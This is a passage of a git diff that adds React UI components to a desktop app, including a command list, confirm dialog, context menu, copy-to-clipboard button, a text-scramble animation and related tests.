+function CommandList({ className, ...props }: React.ComponentProps<typeof CommandPrimitive.List>) {
+  // cmdk selects on pointer-enter, so a list that opens under a parked cursor —
+  // or re-flows under one as the query narrows — hands the selection to
+  // whatever row slid beneath the mouse, and Enter commits THAT. Inert until
+  // the pointer actually moves (see usePointerQuiet).
+  const pointerQuiet = usePointerQuiet()
+
+  return (
+    <CommandPrimitive.List
+      className={cn('max-h-100 overflow-y-auto overflow-x-hidden', pointerQuiet && 'pointer-events-none', className)}
+      data-slot="command-list"
+      {...props}
+    />
+  )
+}
+
+function CommandEmpty({ ...props }: React.ComponentProps<typeof CommandPrimitive.Empty>) {
+  return (
+    <CommandPrimitive.Empty
+      className="py-6 text-center text-sm text-muted-foreground"
+      data-slot="command-empty"
+      {...props}
+    />
+  )
+}
+
+function CommandGroup({ className, ...props }: React.ComponentProps<typeof CommandPrimitive.Group>) {
+  return (
+    <CommandPrimitive.Group
+      className={cn(
+        'overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:sticky **:[[cmdk-group-heading]]:top-0 **:[[cmdk-group-heading]]:z-10 **:[[cmdk-group-heading]]:bg-popover **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground',
+        className
+      )}
+      data-slot="command-group"
+      {...props}
+    />
+  )
+}
+
+function CommandSeparator({ className, ...props }: React.ComponentProps<typeof CommandPrimitive.Separator>) {
+  return (
+    <CommandPrimitive.Separator
+      className={cn('-mx-1 h-px bg-border', className)}
+      data-slot="command-separator"
+      {...props}
+    />
+  )
+}
+
+function CommandItem({ className, ...props }: React.ComponentProps<typeof CommandPrimitive.Item>) {
+  return (
+    <CommandPrimitive.Item
+      className={cn(
+        'relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none data-[disabled=true]:pointer-events-none data-[selected=true]:bg-accent data-[selected=true]:text-accent-foreground data-[disabled=true]:opacity-50',
+        className
+      )}
+      data-slot="command-item"
+      {...props}
+    />
+  )
+}
+
+function CommandShortcut({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn('ml-auto text-xs tracking-widest text-muted-foreground', className)}
+      data-slot="command-shortcut"
+      {...props}
+    />
+  )
+}
+
+export {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  CommandSeparator,
+  CommandShortcut
+}
diff --git a/ui-desktop/src/components/ui/confirm-dialog.tsx b/ui-desktop/src/components/ui/confirm-dialog.tsx
new file mode 100644
index 000000000..becb958a9
--- /dev/null
+++ b/ui-desktop/src/components/ui/confirm-dialog.tsx
@@ -0,0 +1,136 @@
+import type { ReactNode } from 'react'
+import { useEffect, useState } from 'react'
+
+import { ActionStatus } from '@/components/ui/action-status'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { AlertTriangle } from '@/lib/icons'
+
+interface ConfirmDialogProps {
+  open: boolean
+  onClose: () => void
+  // Does the work. Throw to surface an inline error and keep the dialog open.
+  onConfirm: () => Promise<void> | void
+  title: ReactNode
+  description?: ReactNode
+  confirmLabel?: string
+  busyLabel?: string
+  doneLabel?: string
+  cancelLabel?: string
+  destructive?: boolean
+  /** Close as soon as onConfirm resolves — for optimistic actions that finish in the background. */
+  dismissOnConfirm?: boolean
+}
+
+// Shared confirmation dialog: Enter confirms (from anywhere in the dialog),
+// Esc/Cancel/backdrop dismiss. Owns the pending → done → close beat and inline
+// error, so callers pass only an async onConfirm that does the work.
+export function ConfirmDialog({
+  open,
+  onClose,
+  onConfirm,
+  title,
+  description,
+  confirmLabel,
+  busyLabel,
+  doneLabel,
+  cancelLabel,
+  destructive = false,
+  dismissOnConfirm = false
+}: ConfirmDialogProps) {
+  const { t } = useI18n()
+  const [status, setStatus] = useState<'done' | 'idle' | 'saving'>('idle')
+  const [error, setError] = useState<null | string>(null)
+  const busy = status === 'saving' || status === 'done'
+  const resolvedConfirmLabel = confirmLabel ?? t.common.confirm
+  const resolvedBusyLabel = busyLabel ?? t.common.loading
+  const resolvedDoneLabel = doneLabel ?? t.common.done
+  const resolvedCancelLabel = cancelLabel ?? t.common.cancel
+
+  useEffect(() => {
+    if (open) {
+      setStatus('idle')
+      setError(null)
+    }
+  }, [open])
+
+  async function run() {
+    if (busy) {
+      return
+    }
+
+    setError(null)
+
+    if (dismissOnConfirm) {
+      try {
+        await onConfirm()
+        onClose()
+      } catch (err) {
+        setError(err instanceof Error ? err.message : t.errors.genericFailure)
+      }
+
+      return
+    }
+
+    setStatus('saving')
+
+    try {
+      await onConfirm()
+      setStatus('done')
+      window.setTimeout(onClose, 600)
+    } catch (err) {
+      setStatus('idle')
+      setError(err instanceof Error ? err.message : t.errors.genericFailure)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={value => !value && !busy && onClose()} open={open}>
+      <DialogContent
+        className="max-w-md"
+        onKeyDown={event => {
+          // Enter/Space confirm regardless of which button holds focus
+          // (preventDefault stops a focused Cancel from swallowing it).
+          if ((event.key === 'Enter' || event.key === ' ') && !busy) {
+            event.preventDefault()
+            void run()
+          }
+        }}
+      >
+        <DialogHeader>
+          <DialogTitle>{title}</DialogTitle>
+          {description ? <DialogDescription>{description}</DialogDescription> : null}
+        </DialogHeader>
+
+        {error && (
+          <div className="flex items-start gap-2 rounded-md border border-destructive/30 bg-destructive/10 px-3 py-2 text-xs text-destructive">
+            <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+            <span>{error}</span>
+          </div>
+        )}
+
+        <DialogFooter>
+          <Button disabled={busy} onClick={onClose} type="button" variant="ghost">
+            {resolvedCancelLabel}
+          </Button>
+          <Button disabled={busy} onClick={() => void run()} variant={destructive ? 'destructive' : 'default'}>
+            <ActionStatus
+              busy={resolvedBusyLabel}
+              done={resolvedDoneLabel}
+              idle={resolvedConfirmLabel}
+              state={status}
+            />
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/components/ui/context-menu.tsx b/ui-desktop/src/components/ui/context-menu.tsx
new file mode 100644
index 000000000..286418baf
--- /dev/null
+++ b/ui-desktop/src/components/ui/context-menu.tsx
@@ -0,0 +1,180 @@
+import { ContextMenu as ContextMenuPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+function ContextMenu({ ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
+  return <ContextMenuPrimitive.Root data-slot="context-menu" {...props} />
+}
+
+function ContextMenuPortal({ ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
+  return <ContextMenuPrimitive.Portal data-slot="context-menu-portal" {...props} />
+}
+
+function ContextMenuTrigger({ ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
+  return <ContextMenuPrimitive.Trigger data-slot="context-menu-trigger" {...props} />
+}
+
+function ContextMenuGroup({ ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
+  return <ContextMenuPrimitive.Group data-slot="context-menu-group" {...props} />
+}
+
+function ContextMenuContent({ className, ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
+  return (
+    <ContextMenuPrimitive.Portal>
+      <ContextMenuPrimitive.Content
+        className={cn(
+          'z-50 max-h-(--radix-context-menu-content-available-height) min-w-36 origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-lg border border-(--ui-stroke-secondary) bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)] p-1 text-[length:var(--conversation-text-font-size)] text-popover-foreground shadow-md backdrop-blur-md data-[side=bottom]:slide-in-from-top-1 data-[side=left]:slide-in-from-right-1 data-[side=right]:slide-in-from-left-1 data-[side=top]:slide-in-from-bottom-1 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+          className
+        )}
+        data-slot="context-menu-content"
+        {...props}
+      />
+    </ContextMenuPrimitive.Portal>
+  )
+}
+
+function ContextMenuItem({
+  className,
+  inset,
+  variant = 'default',
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
+  inset?: boolean
+  variant?: 'default' | 'destructive'
+}) {
+  return (
+    <ContextMenuPrimitive.Item
+      className={cn(
+        "relative flex cursor-default items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-7 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-(--ui-text-tertiary) data-[variant=destructive]:*:[svg]:text-destructive!",
+        className
+      )}
+      data-inset={inset}
+      data-slot="context-menu-item"
+      data-variant={variant}
+      {...props}
+    />
+  )
+}
+
+function ContextMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
+  return (
+    <ContextMenuPrimitive.CheckboxItem
+      checked={checked}
+      className={cn(
+        "relative flex cursor-default items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        className
+      )}
+      data-slot="context-menu-checkbox-item"
+      {...props}
+    >
+      {children}
+      <ContextMenuPrimitive.ItemIndicator className="ml-auto flex items-center pl-2 text-foreground">
+        <Codicon name="check" size="0.75rem" />
+      </ContextMenuPrimitive.ItemIndicator>
+    </ContextMenuPrimitive.CheckboxItem>
+  )
+}
+
+function ContextMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
+  inset?: boolean
+}) {
+  return (
+    <ContextMenuPrimitive.Label
+      className={cn('px-2 py-1 text-xs font-medium text-(--ui-text-tertiary) data-[inset]:pl-7', className)}
+      data-inset={inset}
+      data-slot="context-menu-label"
+      {...props}
+    />
+  )
+}
+
+function ContextMenuSeparator({ className, ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
+  return (
+    <ContextMenuPrimitive.Separator
+      className={cn('-mx-1 my-1 h-px bg-(--ui-stroke-tertiary)', className)}
+      data-slot="context-menu-separator"
+      {...props}
+    />
+  )
+}
+
+function ContextMenuSub({ ...props }: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
+  return <ContextMenuPrimitive.Sub data-slot="context-menu-sub" {...props} />
+}
+
+function ContextMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
+  inset?: boolean
+}) {
+  return (
+    <ContextMenuPrimitive.SubTrigger
+      className={cn(
+        "flex cursor-default items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[inset]:pl-7 data-[state=open]:bg-(--ui-control-active-background) data-[state=open]:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-(--ui-text-tertiary)",
+        className
+      )}
+      data-inset={inset}
+      data-slot="context-menu-sub-trigger"
+      {...props}
+    >
+      {children}
+      <Codicon className="ml-auto text-(--ui-text-tertiary)" name="chevron-right" size="1rem" />
+    </ContextMenuPrimitive.SubTrigger>
+  )
+}
+
+function ContextMenuSubContent({
+  className,
+  collisionPadding = 8,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
+  return (
+    // Portal the submenu out of the parent Content so it escapes that Content's
+    // `overflow` clip — without this a submenu opening from a scrollable /
+    // overflow-hidden menu gets visually cut off at the parent's edges. Radix
+    // Popper still anchors it to the SubTrigger, so portaling is safe. Mirrors
+    // DropdownMenuSubContent.
+    <ContextMenuPrimitive.Portal>
+      <ContextMenuPrimitive.SubContent
+        className={cn(
+          // `max-h-80` (not the Radix available-height var, which is published
+          // only on Content) so a long submenu scrolls instead of collapsing.
+          'dt-portal-scrollbar z-50 max-h-80 min-w-36 origin-(--radix-context-menu-content-transform-origin) overflow-y-auto rounded-lg border border-(--ui-stroke-secondary) bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)] p-1 text-[length:var(--conversation-text-font-size)] text-popover-foreground shadow-md backdrop-blur-md data-[side=bottom]:slide-in-from-top-1 data-[side=left]:slide-in-from-right-1 data-[side=right]:slide-in-from-left-1 data-[side=top]:slide-in-from-bottom-1 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+          className
+        )}
+        collisionPadding={collisionPadding}
+        data-slot="context-menu-sub-content"
+        {...props}
+      />
+    </ContextMenuPrimitive.Portal>
+  )
+}
+
+export {
+  ContextMenu,
+  ContextMenuCheckboxItem,
+  ContextMenuContent,
+  ContextMenuGroup,
+  ContextMenuItem,
+  ContextMenuLabel,
+  ContextMenuPortal,
+  ContextMenuSeparator,
+  ContextMenuSub,
+  ContextMenuSubContent,
+  ContextMenuSubTrigger,
+  ContextMenuTrigger
+}
diff --git a/ui-desktop/src/components/ui/control.ts b/ui-desktop/src/components/ui/control.ts
new file mode 100644
index 000000000..473d43700
--- /dev/null
+++ b/ui-desktop/src/components/ui/control.ts
@@ -0,0 +1,25 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+
+// Single source of truth for non-composer form-control chrome — Input,
+// Textarea, and SelectTrigger all consume this. Mirrors `buttonVariants`:
+// 2.5px radius, 12px text, padding-driven sizing (no fixed heights). The visual
+// chrome (background, border tint, hover, focus glow, invalid state) comes from
+// the `desktop-input-chrome` CSS so every control shares one exact look.
+export const controlVariants = cva(
+  'desktop-input-chrome w-full min-w-0 rounded-[2.5px] border text-xs leading-4 text-foreground outline-none placeholder:text-muted-foreground disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50',
+  {
+    variants: {
+      size: {
+        xs: 'px-2 py-0.5 text-[0.6875rem] leading-4',
+        sm: 'px-2 py-1',
+        default: 'px-2.5 py-1.5',
+        lg: 'px-3 py-2 text-sm leading-5'
+      }
+    },
+    defaultVariants: {
+      size: 'default'
+    }
+  }
+)
+
+export type ControlVariantProps = VariantProps<typeof controlVariants>
diff --git a/ui-desktop/src/components/ui/copy-button.test.tsx b/ui-desktop/src/components/ui/copy-button.test.tsx
new file mode 100644
index 000000000..d0cbb4800
--- /dev/null
+++ b/ui-desktop/src/components/ui/copy-button.test.tsx
@@ -0,0 +1,36 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { I18nProvider } from '@/i18n'
+
+import { CopyButton } from './copy-button'
+
+describe('CopyButton i18n', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('uses localized default labels and copied feedback', async () => {
+    const writeText = vi.fn().mockResolvedValue(undefined)
+    Object.defineProperty(navigator, 'clipboard', {
+      configurable: true,
+      value: { writeText }
+    })
+
+    render(
+      <I18nProvider configClient={null} initialLocale="zh">
+        <CopyButton text="hello" />
+      </I18nProvider>
+    )
+
+    const button = screen.getByRole('button', { name: '复制' })
+
+    expect(button.textContent).toContain('复制')
+    fireEvent.click(button)
+
+    await waitFor(() => expect(writeText).toHaveBeenCalledWith('hello'))
+    await waitFor(() => expect(screen.getByRole('button', { name: '已复制' })).toBeTruthy())
+    expect(screen.getByRole('button', { name: '已复制' }).textContent).toContain('已复制')
+  })
+})
diff --git a/ui-desktop/src/components/ui/copy-button.tsx b/ui-desktop/src/components/ui/copy-button.tsx
new file mode 100644
index 000000000..7bc569b02
--- /dev/null
+++ b/ui-desktop/src/components/ui/copy-button.tsx
@@ -0,0 +1,243 @@
+import * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import { ContextMenuItem } from '@/components/ui/context-menu'
+import { DropdownMenuItem } from '@/components/ui/dropdown-menu'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Copy, X } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+type CopyPayload = string | (() => Promise<string> | string)
+type CopyButtonAppearance = 'button' | 'icon' | 'inline' | 'menu-item' | 'context-menu-item' | 'tool-row'
+type CopyStatus = 'copied' | 'error' | 'idle'
+const COPIED_RESET_MS = 1_500
+
+export async function writeClipboardText(text: string) {
+  if (!text) {
+    return
+  }
+
+  if (window.clawcodexDesktop?.writeClipboard) {
+    await window.clawcodexDesktop.writeClipboard(text)
+
+    return
+  }
+
+  if (navigator.clipboard?.writeText) {
+    await navigator.clipboard.writeText(text)
+
+    return
+  }
+
+  throw new Error('Clipboard API is unavailable')
+}
+
+export interface CopyButtonProps {
+  appearance?: CopyButtonAppearance
+  buttonSize?: React.ComponentProps<typeof Button>['size']
+  buttonVariant?: React.ComponentProps<typeof Button>['variant']
+  children?: React.ReactNode
+  className?: string
+  disabled?: boolean
+  errorMessage?: string
+  haptic?: boolean
+  iconClassName?: string
+  label?: string
+  onCopied?: () => void
+  onCopyError?: (error: unknown) => void
+  preventDefault?: boolean
+  showLabel?: boolean
+  side?: React.ComponentProps<typeof Tip>['side']
+  stopPropagation?: boolean
+  text: CopyPayload
+  title?: string
+}
+
+export function CopyButton({
+  appearance = 'button',
+  buttonSize,
+  buttonVariant = 'ghost',
+  children,
+  className,
+  disabled = false,
+  errorMessage,
+  haptic = true,
+  iconClassName,
+  label,
+  onCopied,
+  onCopyError,
+  preventDefault = false,
+  showLabel,
+  side,
+  stopPropagation = false,
+  text,
+  title
+}: CopyButtonProps) {
+  const { t } = useI18n()
+  const resolvedErrorMessage = errorMessage ?? t.common.copyFailed
+  const resolvedLabel = label ?? t.common.copy
+  const [status, setStatus] = React.useState<CopyStatus>('idle')
+  const resetRef = React.useRef<number | null>(null)
+
+  React.useEffect(() => {
+    return () => {
+      if (resetRef.current !== null) {
+        window.clearTimeout(resetRef.current)
+      }
+    }
+  }, [])
+
+  const copy = React.useCallback(
+    async (event?: Event | React.MouseEvent<HTMLElement>) => {
+      if (preventDefault) {
+        event?.preventDefault()
+      }
+
+      if (stopPropagation) {
+        event?.stopPropagation()
+      }
+
+      try {
+        const value = typeof text === 'function' ? await text() : text
+
+        if (!value) {
+          return
+        }
+
+        await writeClipboardText(value)
+
+        if (haptic) {
+          triggerHaptic('selection')
+        }
+
+        if (resetRef.current !== null) {
+          window.clearTimeout(resetRef.current)
+        }
+
+        setStatus('copied')
+        resetRef.current = window.setTimeout(() => {
+          setStatus('idle')
+          resetRef.current = null
+        }, COPIED_RESET_MS)
+        onCopied?.()
+      } catch (error) {
+        onCopyError?.(error)
+
+        if (resetRef.current !== null) {
+          window.clearTimeout(resetRef.current)
+        }
+
+        setStatus('error')
+        resetRef.current = window.setTimeout(() => {
+          setStatus('idle')
+          resetRef.current = null
+        }, COPIED_RESET_MS)
+      }
+    },
+    [haptic, onCopied, onCopyError, preventDefault, stopPropagation, text]
+  )
+
+  const Icon = status === 'copied' ? Check : status === 'error' ? X : Copy
+  const icon = <Icon className={cn('size-3.5', iconClassName)} />
+
+  const visibleChildren =
+    (showLabel ?? (appearance !== 'icon' && appearance !== 'tool-row'))
+      ? status === 'copied'
+        ? t.common.copied
+        : status === 'error'
+          ? t.common.failed
+          : (children ?? resolvedLabel)
+      : null
+
+  const content = (
+    <>
+      {icon}
+      {visibleChildren}
+    </>
+  )
+
+  const feedbackLabel =
+    status === 'copied' ? t.common.copied : status === 'error' ? resolvedErrorMessage : (title ?? resolvedLabel)
+
+  const ariaLabel = status === 'idle' ? resolvedLabel : feedbackLabel
+
+  if (appearance === 'menu-item' || appearance === 'context-menu-item') {
+    const MenuItem = appearance === 'menu-item' ? DropdownMenuItem : ContextMenuItem
+
+    return (
+      <MenuItem
+        className={className}
+        disabled={disabled}
+        onSelect={event => {
+          event.preventDefault()
+          void copy(event)
+        }}
+      >
+        {content}
+      </MenuItem>
+    )
+  }
+
+  if (appearance === 'inline') {
+    return (
+      <Tip label={feedbackLabel} side={side}>
+        <button
+          aria-label={ariaLabel}
+          className={cn(
+            'inline-flex items-center gap-1 rounded-sm px-1.5 py-0.5 text-[0.75rem] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40',
+            className
+          )}
+          disabled={disabled}
+          onClick={event => void copy(event)}
+          type="button"
+        >
+          {content}
+        </button>
+      </Tip>
+    )
+  }
+
+  if (appearance === 'tool-row') {
+    return (
+      <Tip label={feedbackLabel}>
+        <button
+          aria-label={ariaLabel}
+          className={cn(
+            'grid size-6 place-items-center rounded-md text-muted-foreground/70 opacity-0 transition-opacity hover:bg-accent/55 hover:text-foreground focus-visible:opacity-100 group-hover/tool-row:opacity-100 disabled:opacity-40',
+            className
+          )}
+          disabled={disabled}
+          onClick={event => void copy(event)}
+          type="button"
+        >
+          {icon}
+        </button>
+      </Tip>
+    )
+  }
+
+  const button = (
+    <Button
+      aria-label={ariaLabel}
+      className={className}
+      disabled={disabled}
+      onClick={event => void copy(event)}
+      size={buttonSize ?? (appearance === 'icon' ? 'icon' : 'default')}
+      type="button"
+      variant={buttonVariant}
+    >
+      {content}
+    </Button>
+  )
+
+  // Only icon-only buttons need a tooltip; the text variant already shows its label.
+  return appearance === 'icon' ? (
+    <Tip label={feedbackLabel} side={side ?? 'bottom'}>
+      {button}
+    </Tip>
+  ) : (
+    button
+  )
+}
diff --git a/ui-desktop/src/components/ui/decode-text.tsx b/ui-desktop/src/components/ui/decode-text.tsx
new file mode 100644
index 000000000..243de60f6
--- /dev/null
+++ b/ui-desktop/src/components/ui/decode-text.tsx
@@ -0,0 +1,126 @@
+import { type ComponentProps, useEffect, useState } from 'react'
+
+import { cn } from '@/lib/utils'
+
+/**
+ * DecodeText — the "CONNECTING" scramble-decode effect as a reusable
+ * primitive (extracted from gateway-connecting-overlay.tsx; same mechanics):
+ *
+ *  - Even-weight mono ascii charset so cycling glyphs never jump width
+ *    (matches the nousnet-web download-button decode effect).
+ *  - Decode resolves half a character per 45ms tick; when fully resolved it
+ *    holds for 16 ticks, then (in loop mode) replays.
+ *  - The first `prefix` characters NEVER scramble — split at render level so
+ *    no timer logic (even a stale HMR one) can garble them.
+ *  - Optional blinking dither-cursor square.
+ *
+ * Typography (mono, small, uppercase, wide tracking) is baked in; color comes
+ * from the caller via className/text color so the same primitive works on the
+ * boot overlay (--theme-primary) and quiet surfaces (--ui-text-quaternary).
+ */
+
+export const DECODE_SCRAMBLE_CHARS = '/\\|-_=+<>~:*'
+const TICK_MS = 45
+const HOLD_TICKS = 16
+
+function prefersReducedMotion(): boolean {
+  return typeof window !== 'undefined' && Boolean(window.matchMedia?.('(prefers-reduced-motion: reduce)').matches)
+}
+
+function scrambled(tail: string, resolvedCount: number): string {
+  return Array.from(tail, (ch, i) =>
+    ch === ' ' || i < resolvedCount ? ch : DECODE_SCRAMBLE_CHARS[(Math.random() * DECODE_SCRAMBLE_CHARS.length) | 0]
+  ).join('')
+}
+
+export interface DecodeTextProps extends Omit<ComponentProps<'span'>, 'prefix'> {
+  text: string
+  /** Leading character count that stays legible at all times. */
+  prefix?: number
+  /** Run the decode. When false, renders the plain resolved text (used to
+   *  freeze the word during exit choreography). */
+  active?: boolean
+  /** Replay after the hold, or resolve once and stop. */
+  loop?: boolean
+  /** Blinking dither-cursor square after the text. */
+  cursor?: boolean
+}
+
+export function DecodeText({
+  active = true,
+  className,
+  cursor = false,
+  loop = true,
+  prefix = 0,
+  text,
+  ...props
+}: DecodeTextProps) {
+  const staticPrefix = text.slice(0, prefix)
+  const tailText = text.slice(prefix)
+  const [tail, setTail] = useState(tailText)
+
+  useEffect(() => {
+    if (!active) {
+      setTail(tailText)
+
+      return
+    }
+
+    // Under reduced motion, skip the scramble interval and render the fully
+    // resolved text immediately. The cursor blink (CSS animation) is also
+    // killed by the blanket reduced-motion CSS rule.
+    if (prefersReducedMotion()) {
+      setTail(tailText)
+
+      return
+    }
+
+    let resolved = 0
+    let hold = 0
+
+    const id = window.setInterval(() => {
+      if (resolved >= tailText.length) {
+        hold += 1
+
+        if (hold > HOLD_TICKS) {
+          if (loop) {
+            resolved = 0
+            hold = 0
+          } else {
+            window.clearInterval(id)
+          }
+        }
+
+        setTail(tailText)
+
+        return
+      }
+
+      resolved += 0.5
+      setTail(scrambled(tailText, Math.floor(resolved)))
+    }, TICK_MS)
+
+    return () => window.clearInterval(id)
+  }, [active, loop, tailText])
+
+  return (
+    <span
+      className={cn(
+        'inline-flex items-center font-mono text-[0.64rem] font-semibold uppercase tracking-[0.4em] tabular-nums',
+        className
+      )}
+      {...props}
+    >
+      {cursor && <style>{'@keyframes decode-cursor { 0%, 49% { opacity: 1 } 50%, 100% { opacity: 0 } }'}</style>}
+      {staticPrefix}
+      {tail}
+      {cursor && (
+        <span
+          aria-hidden="true"
+          className="dither ml-0.5 inline-block size-2 shrink-0 -translate-y-px rounded-[1px]"
+          style={{ animation: 'decode-cursor 1s step-end infinite' }}
+        />
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/ui/dialog-dismiss-repro.test.tsx b/ui-desktop/src/components/ui/dialog-dismiss-repro.test.tsx
new file mode 100644
index 000000000..f8daa94ef
--- /dev/null
+++ b/ui-desktop/src/components/ui/dialog-dismiss-repro.test.tsx
@@ -0,0 +1,87 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { Dialog, DialogContent, DialogTitle } from './dialog'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from './select'
+
+afterEach(cleanup)
+
+// jsdom lacks these; Radix Select calls them on open.
+window.HTMLElement.prototype.scrollIntoView = vi.fn()
+window.HTMLElement.prototype.hasPointerCapture = vi.fn()
+window.HTMLElement.prototype.releasePointerCapture = vi.fn()
+
+const flushTimers = () => new Promise(resolve => setTimeout(resolve, 10))
+
+describe('REPRO: dismissing an open Select inside a Dialog', () => {
+  it('closes only the select, not the dialog, when the press lands on the overlay', async () => {
+    // While a modal Select is open, the dialog content div is pointer-events:
+    // none, so a real click anywhere in the dialog body hit-tests through to
+    // the overlay. Simulate that by firing the pointer sequence on the overlay.
+    const onOpenChange = vi.fn()
+    render(
+      <Dialog onOpenChange={onOpenChange} open>
+        <DialogContent>
+          <DialogTitle>Test dialog</DialogTitle>
+          <Select defaultOpen>
+            <SelectTrigger aria-label="picker">
+              <SelectValue placeholder="pick" />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value="a">Option A</SelectItem>
+            </SelectContent>
+          </Select>
+        </DialogContent>
+      </Dialog>
+    )
+
+    // DismissableLayer registers its document pointerdown listener in a
+    // setTimeout(0) — flush it first.
+    await flushTimers()
+
+    const overlay = document.querySelector('[data-slot="dialog-overlay"]') as HTMLElement
+    expect(overlay).toBeTruthy()
+    expect(screen.getByText('Option A')).toBeTruthy()
+
+    fireEvent.pointerDown(overlay, { button: 0 })
+    fireEvent.pointerUp(overlay, { button: 0 })
+    fireEvent.click(overlay, { button: 0 })
+
+    // The deferred dismissal path resolves through another setTimeout(0).
+    await flushTimers()
+
+    // The select closed...
+    expect(screen.queryByText('Option A')).toBeNull()
+    // ...but the dialog must NOT have been asked to close.
+    expect(onOpenChange).not.toHaveBeenCalledWith(false)
+  })
+
+  it('still closes the dialog on a genuine overlay click when no dropdown is open', async () => {
+    const onOpenChange = vi.fn()
+    render(
+      <Dialog onOpenChange={onOpenChange} open>
+        <DialogContent>
+          <DialogTitle>Test dialog</DialogTitle>
+          <Select>
+            <SelectTrigger aria-label="picker">
+              <SelectValue placeholder="pick" />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value="a">Option A</SelectItem>
+            </SelectContent>
+          </Select>
+        </DialogContent>
+      </Dialog>
+    )
+
+    await flushTimers()
+
+    const overlay = document.querySelector('[data-slot="dialog-overlay"]') as HTMLElement
+    fireEvent.pointerDown(overlay, { button: 0 })
+    fireEvent.pointerUp(overlay, { button: 0 })
+    fireEvent.click(overlay, { button: 0 })
+    await flushTimers()
+
+    expect(onOpenChange).toHaveBeenCalledWith(false)
+  })
+})
diff --git a/ui-desktop/src/components/ui/dialog-portal-context.ts b/ui-desktop/src/components/ui/dialog-portal-context.ts
new file mode 100644
index 000000000..88dde1f6b
--- /dev/null
+++ b/ui-desktop/src/components/ui/dialog-portal-context.ts
@@ -0,0 +1,29 @@
+import * as React from 'react'
+
+// Layering system for portalled popovers (Select / Popover / DropdownMenu) that
+// open INSIDE a Dialog.
+//
+// By default every Radix popover portals to `document.body`, i.e. as a sibling
+// of the Dialog — OUTSIDE the dialog's DOM subtree. That breaks two things:
+//   1. Dismissing the popover (clicking elsewhere in the dialog) moves focus and
+//      fires pointer/focus events the Dialog's DismissableLayer reads as
+//      "outside", so the whole dialog closes.
+//   2. z-index across separate body-level portals is fragile — the popover and
+//      dialog live in different stacking siblings.
+//
+// The fix: a Dialog publishes its own content node here; any popover rendered
